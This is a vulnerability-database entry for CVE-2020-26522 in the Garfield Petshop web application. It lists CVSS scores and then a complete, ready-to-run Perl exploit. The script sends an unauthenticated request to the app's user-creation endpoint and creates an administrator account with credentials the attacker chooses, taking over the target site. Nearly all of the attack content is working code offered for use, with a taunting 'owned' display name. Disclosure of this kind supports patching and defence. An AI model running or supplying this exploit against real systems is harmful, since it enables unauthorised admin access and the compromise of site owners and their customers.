Garfield Petshop 2020-10-01 Cross Site Request Forgery

2020.10.09
Credit: Ramdan Yantu
Risk: High
Local: No
Remote: Yes


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/usr/bin/perl # Garfield Petshop (Add-Admin) Exploit # By Ramdan Yantu rysec.io \ bastardlabs.info # From Gorontalo - Indonesia # Mail: ramdanyantu__at__gmail.com # Application by Gamma Advertisa # Link: https://detapos.co/ | https://demo.detapos.co.id/petshop # CVE: CVE-2020-26522 use strict; use warnings; use LWP::UserAgent; my ($url, $path, $usernm, $passwd) = @ARGV ; unless($ARGV[3]){ print "\n-+--[ Brought to you by Ramdan Yantu ]--+-\n"; print "-+-- rysec.io / bastardlabs.info --+-\n"; print "-+--[ Garfield Petshop Add-Admin Exploit ]--+-\n"; print "\nUsage:\n\n"; print "perl $0 [target] [path] [username] [password]\n"; print "ex: perl $0 http://target.com /petshop/ w00t w00t\n"; exit (); } my $ua = LWP::UserAgent->new( agent => "Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.1)" ); my $ob = $ua->post( $url.$path."/mod/user/act_user.php?mod=user&act=simpan", { "nama_lengkap" => "u h4V3 833n 0wN3D", "usernm" => $usernm, "passwd" => $passwd, "rpasswd" => $passwd, "level" => "admin" } ); if($ob->is_success != -1) { print "\n [+] splo!it successfully!\n". "\n username: $usernm\n". " password: $passwd\n"; }else{ print "[-] splo!t failed! Maybe ente kurang tamvan!\n"; }


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020, cxsecurity.com

 

Back to Top